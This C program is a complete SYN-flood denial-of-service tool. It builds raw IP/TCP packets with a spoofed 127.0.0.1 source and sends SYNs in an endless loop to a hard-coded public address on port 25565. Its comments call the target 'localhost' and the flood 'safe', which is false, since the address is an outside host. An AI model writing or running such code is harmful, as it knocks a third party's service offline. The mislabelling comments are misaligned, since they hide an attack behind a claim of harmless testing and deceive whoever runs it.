#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/socket.h>

struct pseudo_header {
    u_int32_t source_address;
    u_int32_t dest_address;
    u_int8_t placeholder;
    u_int8_t protocol;
    u_int16_t tcp_length;
};

// checksum calculation for IP/TCP headers
unsigned short csum(unsigned short *buf, int nwords) {
    unsigned long sum = 0;
    for (int i = 0; i < nwords; i++)
        sum += buf[i];
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

int main() {
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (sock < 0) { perror("socket"); return 1; }

    int one = 1;
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
        perror("setsockopt");
        return 1;
    }

    struct sockaddr_in target;
    target.sin_family = AF_INET;
    target.sin_port = htons(25565);          // test port
    inet_pton(AF_INET, "51.89.81.30", &target.sin_addr);  // safe: localhost

    char packet[4096];
    memset(packet, 0, sizeof(packet));

    struct iphdr *ip = (struct iphdr *)packet;
    struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));

    // fill IP header
    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
    ip->id = htons(54321);
    ip->frag_off = 0;
    ip->ttl = 64;
    ip->protocol = IPPROTO_TCP;
    ip->saddr = inet_addr("127.0.0.1");
    ip->daddr = target.sin_addr.s_addr;
    ip->check = csum((unsigned short *)ip, sizeof(struct iphdr)/2);

    // fill TCP header
    tcp->source = htons(12345);
    tcp->dest = target.sin_port;
    tcp->seq = htonl(0);
    tcp->doff = 5;
    tcp->syn = 1;
    tcp->window = htons(65535);
    tcp->check = 0;

    // pseudo header for TCP checksum
    struct pseudo_header psh;
    psh.source_address = ip->saddr;
    psh.dest_address = ip->daddr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(sizeof(struct tcphdr));

    char pseudo_packet[sizeof(struct pseudo_header) + sizeof(struct tcphdr)];
    memcpy(pseudo_packet, &psh, sizeof(struct pseudo_header));
    memcpy(pseudo_packet + sizeof(struct pseudo_header), tcp, sizeof(struct tcphdr));
    tcp->check = csum((unsigned short*)pseudo_packet, sizeof(pseudo_packet)/2);

    // send infinite SYNs safely to localhost
    while(1) {
        if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct tcphdr), 0,
                   (struct sockaddr *)&target, sizeof(target)) < 0) {
            perror("sendto");
        } else {
            printf(".");
            fflush(stdout);
        }
        usleep(10000); // 10ms delay
    }

    close(sock);
    return 0;
}